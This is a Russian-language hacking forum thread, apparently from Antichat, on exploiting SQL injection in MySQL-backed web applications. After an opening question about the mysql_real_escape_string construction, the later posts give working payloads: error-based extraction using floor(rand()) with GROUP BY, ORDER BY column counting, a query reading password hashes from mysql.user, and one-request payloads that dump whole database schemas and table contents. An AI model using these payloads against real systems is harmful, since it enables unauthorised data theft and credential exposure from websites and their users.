ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

12.10.2013, 19:31
|
|
Guest
Сообщений: n/a
Провел на форуме: 190
Репутация:
0
|
|
Друзья, помогите!
Пытаюсь найти аргументы для товарища, который считает что конструкция безопасна:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"] $data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$db[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]query_once[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'SELECT id, email FROM users WHERE email="'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]mysql_real_escape_string[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'email'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]60[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]'" LIMIT 1'[/COLOR][COLOR="#007700"]);
[/COLOR][/COLOR]
но к сожалению никак не нагуглю обход mysql_real_escape_string
Я хочу сказать, что правильнее было бы параметризировать запрос, но пока я не покажу как обойти эту конструкцию. Потому прошу помощи. Если конечно я не заблуждаюсь.
|
|
|
|

12.10.2013, 22:31
|
|
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
Провел на форуме: 835386
Репутация:
1463
|
|
Сообщение от maverick
maverick said:
Друзья, помогите!
Пытаюсь найти аргументы для товарища, который считает что конструкция безопасна:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"] $data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$db[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]query_once[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'SELECT id, email FROM users WHERE email="'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]mysql_real_escape_string[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'email'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]60[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]'" LIMIT 1'[/COLOR][COLOR="#007700"]);
[/COLOR][/COLOR]
но к сожалению никак не нагуглю обход mysql_real_escape_string
Я хочу сказать, что правильнее было бы параметризировать запрос, но пока я не покажу как обойти эту конструкцию. Потому прошу помощи. Если конечно я не заблуждаюсь.
Вполне безопасная конструкция.
|
|
|

04.11.2013, 14:51
|
|
Guest
Сообщений: n/a
Провел на форуме: 202
Репутация:
0
|
|
Народ, имеется инъекция по параметру, который подставляется в LIMIT в запросе. Поскольку LIMIT - самая последняя часть запроса, то не могу скорректировать запрос так, чтобы получить что-то полезное (ни UNION не могу вставить, ничего такого).. Есть вообще возможность из этого LIMITa выдернуть что-то полезное?
|
|
|
|

04.11.2013, 15:52
|
|
Новичок
Регистрация: 06.04.2009
Сообщений: 2
Провел на форуме: 150479
Репутация:
2
|
|
Сообщение от zeleny_more
zeleny_more said:
Народ, имеется инъекция по параметру, который подставляется в LIMIT в запросе. Поскольку LIMIT - самая последняя часть запроса, то не могу скорректировать запрос так, чтобы получить что-то полезное (ни UNION не могу вставить, ничего такого).. Есть вообще возможность из этого LIMITa выдернуть что-то полезное?
/showpost.php?p=535989&postcount=4
/showthread.php?t=7118 - заголовок "инъекция после limit"
|
|
|

30.01.2014, 02:06
|
|
Guest
Сообщений: n/a
Провел на форуме: 2337
Репутация:
0
|
|
(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117) ,CHAR(67),CHAR(110),CHAR(98),CHAR(78),CHAR(52),CHA R(89),CHAR(119),CHAR(69)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
|
|
|

21.06.2014, 23:22
|
|
Guest
Сообщений: n/a
Провел на форуме: 132418
Репутация:
652
|
|
|
|
|
|

01.09.2014, 16:24
|
|
Guest
Сообщений: n/a
Провел на форуме: 182660
Репутация:
324
|
|
Хочу добавить про подбор колонок в 1 запрос.
В случае если sqli выводит ошибки и пэйлоад вида
Код:
Code:
*+order+by+100+--+
выдаст нам ошибку
Код:
Code:
Query failed: Unknown column '100' in 'order clause'
То сразу смело вставляем такой пэйлоад
Код:
Code:
+order+by+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70+--+
В ответ получим
Код:
Code:
Query failed: Unknown column '*' in 'order clause'
Где '*'-1='колличество наших колонок'.
|
|
|
|

23.03.2015, 12:26
|
|
Guest
Сообщений: n/a
Провел на форуме: 132418
Репутация:
652
|
|
Новый ветор вывода через ошибку в MySQL >= 5.7.5
Вывод производится через функции ST_LatFromGeoHash(), ST_LongFromGeoHash(), ST_PointFromGeoHash().
Подробнее
|
|
|
|

31.03.2015, 17:43
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме: 1066435
Репутация:
1013
|
|
начиная с версии MySQL 5.7 колонка password в бд mysql переименована в authentication_string.
Код:
Code:
SELECT user, authentication_string FROM mysql.user;
|
|
|

02.04.2015, 14:45
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме: 3363660
Репутация:
1148
|
|
Товарищ profexer сделал очень крутую вещь - ускоритель MySQL.
Вывод данных в один запрос:
SELECT MID(CONCAT(@p:=0x20,(SELECT COUNT(*) FROM {TABLE} WHERE @p:=CONCAT(@p,0x2C,{COLUMNS})),@p),5)
Хотелось бы сразу получить одним запросом абсолютно всю структуру и уже далее тащить данные, а сделать можно это так(я сделал пример без пробелов!). Если есть предположения, что бд очень много, то сразу можно использовать пример ниже.
Список абсолютно всех бд, таблиц, колонок одним запросом(без пробелов!)
SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(i nformation_schema.columns)WHERE@p:=CONCAT(@p,0x0D0 A ,table_schema,0x3a,table_name,0x3a,column_name)),@ p),5))
0x0D0A -> перевод строки, смотреть в "Исходный код страницы"
Если желаете, то можете заменить на 0x2C -> Запятая или другой удобной вид, но в данном случае, как мне кажется, структуру любой бд с скули наглядно сразу не будет видно.
Ну далее частные случаи:
Список бд(без пробелов!)
SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(i nformation_schema.schemata)WHERE@p:=CONCAT(@p,0x2C ,schema_name)),@p),5))
Список всех бд, таблиц(без пробелов!)
SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(i nformation_schema.tables)WHERE@p:=CONCAT(@p,0x0D0A ,table_schema,0x3a,table_name)),@p),5))
Список всех таблиц, колонок текущей бд(без пробелов!)
SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(( select*from(information_schema.columns)where(table _schema=database()))x)WHERE@p:=CONCAT(@p,0x0D0A ,table_schema,0x3a,table_name,0x3a,column_name)),@ p),5))
Список таблиц текущей бд(без пробелов!)
SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(( select*from(information_schema.tables)where(table_ schema=database()))x)WHERE@p:=CONCAT(@p,0x2C,table _name)),@p),5))
Список колонок таблицы users(без пробелов!)
SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(( select*from(information_schema.columns)where(table _name=0x7573657273))x)WHERE@p:=CONCAT(@p,0x2C,colu mn_name)),@p),5))
ps помните, таблица users и в другой бд может быть, тогда добавить условие в where
И напоследок значения с колонок(без пробелов!)
SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM({ TABLE})WHERE@p:=CONCAT(@p,0x0D0A,{COLUMN1},0x3a,{C OLUMN2})),@p),5))
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|